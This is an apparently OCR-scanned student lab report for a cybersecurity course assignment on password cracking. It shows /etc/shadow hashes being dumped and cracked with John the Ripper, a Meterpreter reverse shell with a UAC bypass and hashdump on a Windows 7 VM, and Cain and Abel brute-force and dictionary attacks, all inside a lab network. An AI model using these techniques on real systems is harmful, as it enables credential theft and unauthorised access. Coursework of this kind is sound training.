CYSE 301: Cybersecurity Technique and Operations
Assignment 4: Password Cracking (Part A)



At the end of this module, each student needs to submit a report that includes the solutions to the
following tasks. Make sure you take a screenshot for every single step as proof.
You need to use

Task A: Linux Password Cracking (25 points)

1. 5 points. Create two groups, one is cyse301s23, and the other is your ODU Midas ID (for example,
pjiang). Then display the corresponding group IDs.

Applications ¥ Places ~ Terminac. M Attacker Kali - External Workstation on CS301-KCOLEO30

root@CS2APenTest: ~

File Edit View Search Terminal Help

: # useradd usersl -
# useradd users2

useradd users3 -

useradd users4 -

useradd users5 -

: useradd users6 -

: # 1id usersl

gid=1001(cyse301) groups=1001(cyse301)

: # id users2

gid=1001(cyse301) groups=1001(cyse301)

: # id users3

gid=1001(cyse301) groups=1001(cyse301)

: # 1d users4

gid=1002(Kcole030) groups=1002(Kcole030)

: # id users5

gid=1002(Kcole030) groups=1002(Kcole030)

: # 1id users5

gid=1002(Kcole030) groups=1002(Kcole030)

o~

cyse301
cyse301
cyse301
Kcole030
Kcole030
Kcole030

#
s~¥
 #

#

uid=1002(usersl)
uid=1003(users2)
uid=1004(users3)
uid=1005(users4)
uid=1006(users5)

uid=1006 (users5)

: # id usersé6

uid=1007 (users6) gid=1002(Kcole®30) groups=1002(Kcoled30)
=
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VMshare Nessus Info

root@CS2APenTest: ~

File Edit View Search Terminal Help

: # groupadd cyse301

: # groupadd Kcole030

: # useradd userl-g cyse301
[options] LOGIN

D

D [options]

useradd

useradd -

useradd -

Options:
--base-dir BASE DIR base directory for the home directory of the

new account

use BTRFS subvolume for home directory

GECOS field of the new account

home directory of the new account

print or change default useradd configuration

expiration date of the new account

--btrfs-subvolume-home
--comment COMMENT
--home-dir HOME DIR
--defaults

--expiredate EXPIRE DATE

2. 5 points. Create and assign three users to each group. Display related UID and GID information of

--inactive INACTIVE
--gid GROUP

--groups GROUPS

--help
--skel SKEL DIR

each user.

password inactivity period of the new account
name or ID of the primary group of the new
account

list of supplementary groups of the new
account

display this help message and exit

use this alternative skeleton directory
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root@CS2APenTest: ~

File Edit View Search Terminal Help
: # passwd usersl

New password:

Retype new password:

passwd: password updated successfully
: # passwd users2

New password:

Retype new password:

passwd: password updated successfully
: # passwd users3

New password:

Retype new password:

passwd: password updated successfully
: # passwd users4

New password:

Retype new password:

passwd: password updated successfully
: # passwd users5

New password:

Retype new password:

passwd: password updated successfully
: # passwd usersé6

New password:

Retype new password:

passwd: password updated successfully
: #

: #
: #
#
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root@CS2APenTest: ~

File Edit View Search Terminal Help

: # tail -n6 /etc/shadow
usersl:$6$Qq3iPJY00JI3h0vhO$IHLYPVIF2Iggx88vXKkYNuj fvaat5yXw2F8Qebl1N3mOQFRdgweQAT6tnmSN6g2nc4bl
pROKPThdkf2p0Swknf/:19817:0:99999:7: ::
users2:$6$ew3uENCKONTOgQNE$qValsqWMz9j3LwLeXxbrXMsoOFLIsHXXDpxDfyoldi4BQHV9zNu5f7MOLsDIvIiqvfb
I16QPeSOqGOQR/cCP7mO:19817:0:99999:7:::
users3:$6$h64J9H//s1z9SEw5$1224RC3MtZZT.bt31iMythDW8gqV1fW8GEeKRRYBHPW3zx1nTCQdIMvIKf6Ha9/jdVvi
t1tyFXpOD.F1MibAMe. :19817:0:99999:7:::
users4:$6$UNvI271T8QWrIhUd$/V1VwFq.C1INfTcshAVr86sqh6bajBrIl/oEV2YCQ27xydgY7eA4NNgOR85hdDh8ap.
Aro.dRZ38bkprWwfhQz/:19817:0:99999:7:::
users5:$6$aB2vyMBLT951Mnz9$b/M8xWgWteErDYYAPz2jvt4]/uTjoQqbv20rTOPq35Few9Caq4rx9pza5ulpX0LR2Zh
TqcdhVEY3a.jyIPKHEO:19817:0:99999:7:::
users6:$6$D00zBXh3wWsus3el$7IvNnxxerjcdLDL3h60PipRAKpt7D2BtsuF2cyEO10q8uLp6wI9dNYPMb750ubYuroo
dve3.P.KFdT9XAGCT1.:19817:0:99999:7:::

H

3. 5 points. Choose six new passwords, from easy to hard, and assign them to the users you created.
You need to show me the password you selected in your report, and DO NOT use your real-world
passwor
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root@CS2APenTest: ~

File Edit View Search Terminal
: # 1ss
command not found

: # 1s

Help
bash: lss:
core
: # cp /usr/share/wordlists/rockyou.txt.gz
: # gunzip rockyou.txt.gz

: # tail -n6 /etc/shadow > Kcole©30.txt
: # john --format:cIypt Kcole030.txt -wordlist=rockyou.txt

Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (crypt, generic crypt(3)

[?7/64])

Cost 1 (algorithm [1l:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 6

for all loaded hashes

Cost 2 (algorithm specific iterations) is 5000 for all loaded hashes

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

1234567 (users5)

123456 (users2)

1234 (usersl)

39 0:00:00:13 0.02% (ETA: 01:20:25) 0.2260g/s 202.5p/s 716.2c/s 716.2C/s my3kids..victorial

Use the "--show" option to display all of the cracked passwords reliably

Session aborted

: # john -show Kcole030.txt
Desktop/ .java/
Documents/ .john/
Downloads/ Kcole030. txt
.emacs.d/ .lesshst

.armitage/
.armitage.prop
.bash history
.bashrc

Pictures/
.pki/
.profile
Public/

.ssh/
Templates/
Videos/

.viminfo

4. 5 points. Export all six users’ password hashes into a file named “YourMIDAS-HASH” (for example,
pjiang-HASH). Then launch a dictionary attack to crack the passwords. You MUST crack at least
one password in order to complete this assignment.
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root@CS2APenTest: ~

File Edit
~ .bashrc
.cache/
.config/
core
CYSE301/

View Search Terminal
.emacs.d/
.gconf/
.gnome/
.gnupg/ .msf4/
.ICEauthority Music/

: # john -show Kcole030.txt
Desktop/ .java/
Documents/ .john/
Downloads/ Kcole030. txt

Help
.lesshst
.local/
.mozilla/

.viminfo
VMshare
.wget-hsts
.zenmap/

Public/

.rnd

rockyou. txt
.selected editor
.smbcredentials

.armitage/
.armitage.prop
.bash_history

Pictures/
.pki/
.profile

.ssh/
Templates/
Videos/

.bashrc
.cache/
.config/
core
CYSE301/

.emacs.d/ .lesshst
.gconf/ .local/
.gnome/ .mozilla/
.gnupg/ .msf4/
.ICEauthority Music/

: # john -show Kcole030.txt

.armitage/
.armitage.prop
.bash_history

Desktop/
Documents/
Downloads/

.jJava/
.john/ I
Kcole030. txt

Public/

.rnd

rockyou. txt
.selected editor
.smbcredentials

Pictures/
.pki/
.profile

.viminfo
VMshare
.wget-hsts
.zenmap/

.ssh/
Templates/
Videos/

.lesshst
.local/
.mozilla/

.bashrc
.cache/
.config/
core
CYSE301/

.emacs.d/
.gconf/
.gnome/
.gnupg/ .msf4/
.ICEauthority Music/
: # john -show Kcole030.txt
usersl:1234:19817:0:99999:7
users2:123456:19817:0:99999
users5:1234567:19817:0:99999:

Public/

.rnd

rockyou. txt
.selected editor
.smbcredentials

.viminfo
VMshare
.wget-hsts
.zenmap/

Task B: Windows Password Cracking (25 points)

Log on to Windows 7 VM and create a list of 3 users with different passwords. Then you need to establish



a reverse shell connection with the admin privilege to the target Windows 7 VM.
Now, complete the following tasks:

1. 5 points. Display the password hashes by using the “hashdump” command in the meterpreter
shell. Then
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root@CS2APenTest: ~
File Edit View Search Terminal Tabs Help
t@CS2APenTest root@CS2APenTest: ~

Id Name Type Information Connection
i meterpreter x86/windows WINDOWS7\Window 7 @ WINDOWS7 192.168.217.3:4498 -> 192.1
68.217.2:11988 (192.168.10.9)

) > set session 1
) > exploit

Started reverse TCP handler on 192.168.217.3:4498

UAC is Enabled, checking level...

UAC is set to Default

BypassUAC can bypass this setting, conti

Part of Administrators group! Continuing

Uploaded the agent to the filesystem....

Uploading the bypass UAC executable to the filesystem...

Meterpreter stager executable 73802 bytes long being uploaded..

Sending stage (179779 bytes) to 192.168.217.2

Meterpreter session 2 opened (192.168.217.3:4498 -> 192.168.217.2:28246) at 2024-04-04 02:
34:21 -0400

meterpreter > clear

Unknown command: clear
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089¢O:
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0cO89¢O: : :
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:2d79c7f57c09bad3139f56290e444b23: : :

kobecole:1003:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ado6bdd8360b7586¢: : :
Window 7:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fbl17ad06bdd830b7586¢: : :
meterpreter >
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root@CS2APenTest: ~
File Edit View Search Terminal Tabs Help

root@CS2APenTest: ~

: # john hash.txt --format=NT
stat: hash.txt: No such file or directory

: # john hashessssssssssssssss.txt --format=NT
stat: hashessssssssssssssss. txt: NoIsuch file or directory

: # john hashes.txt --format=NT
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (NT [MD4 512/512 AVX512BW 16x3])
warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 21 candidates buffered for the current salt, minimum 48 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
password (kobecole)
password (Window 7)

( )

(Guest)
Proceeding with incremental:ASCII
4g 0:00:00:54 3/3 0.07373g/s 45237Kp/s 45237Kc/s 45238KC/s jcl4sp32..jcl4scoe
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session aborted

¥

u A
2. 10 points. Save the password hashes into a file named “your_midas.WinHASH” in Kali Linux
(you need to replace the “your_midas” with your university MIDAS ID). Then run John the ripper
for 10 minutes to crack the passwords (You MUST crack at least one password in order to
complete this assignment.).



ol Attacker Kali - External Workstation on CS301-KCOLED3D
Applications ~ Places ¥  [J Terminal ~ Thu13:51
root@CS2APenTest: ~
File Edit View Search Terminal Tabs Help
root@CS2APenTest: ~ root@CS2APenTest: ~

(179779 byte

ion 2 op -04-04 02:

0d16ae931b73c59d7e0cO89cO: : :

e931b73c59d7e0c089cO
2 d3b435b514¢ 2d79c¢7157c09bad3139756290 4b23:::
3b435b514¢ ad3b435b51404 3fb117ad dd830b758!

3b435b514¢ ad3b435b51404 ee8fbl17ade6bdd830b758

>

>

r > cllllll1lear

command: clllll1llear.

vord Cracking'/ca_setup C:\\
uch file or directory @ rb_file

t/CYSE301/'M
/CYSE301/Modu
/CYSE301/Module IV-Pass
meterpreter

3. 10 points. Upload the password cracking tool, Cain and Abel, to the remote Windows 7 VM, and
install it via a remote desktop window. Then, implement BOTH brute force and dictionary
attacks to crack the passwords. (You MUST crack at least one password in order to complete this

assignment.).

il Attacker Kali - rnal Workstation on C5301-KCOLECSD

Applications ~ Places v [ rdesktop v
rdesktop - 192.168.10.9

Brute-Force Attack
Charset Password length
Min |7 4:

Max |16 =

-

|abcdalghuk\mnupqrsluvw@lz[ﬂ 23456789
(@] : Start fram
Kevspace Current password

B8.1860514273734389E +024 kolpsca

Key Rate Time Left
11005298 Pass/Sec 2.35866e+010 pears

Plaintext of 8546F7EAEEBFEL17ADOEBDDAZ0B7506C is password
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Thu13:59

rdesktop - 192.168.10.9

Dictionary Attack

Dictionary

File

Pogition

f C:\Program Filesh\Caintfordlists\iordlist. bt

Dictionary Pogition

Current password -

v

2456292

ey Hate Options

Az |z [Pazsword)

Reverze [PASSWORD - DROWSSAP)

Double [Pass - PassPass]

Lowercasze [PASSWORD - passward)
Uppercasze [Password - PASSWORD)

Murn. sub. perms [Pass,Pdss Pabs,.. P45 P455]
Caze perms [Pass.phss pads.. PaSs  PASS)
Two numbers Hybrid Brute [Pasz0.... Pazs99)

Attack stopped!
1 of 2 hashes cracked

Task C: Extra credit: (10 points)

Plaintext of 8846F7EAEESFB117ADOGBDDE30B7586C is password

'4-04-04

Search the proper format in John the Ripper to crack the following MD5 hashes (use the --list=formats
option to list all supported formats) . Show your steps and results.

1. 5f4dcc3b5aa765d61d8327deb882cf99
2. 63a9f0ea7bb98050796b649e85481845

02:




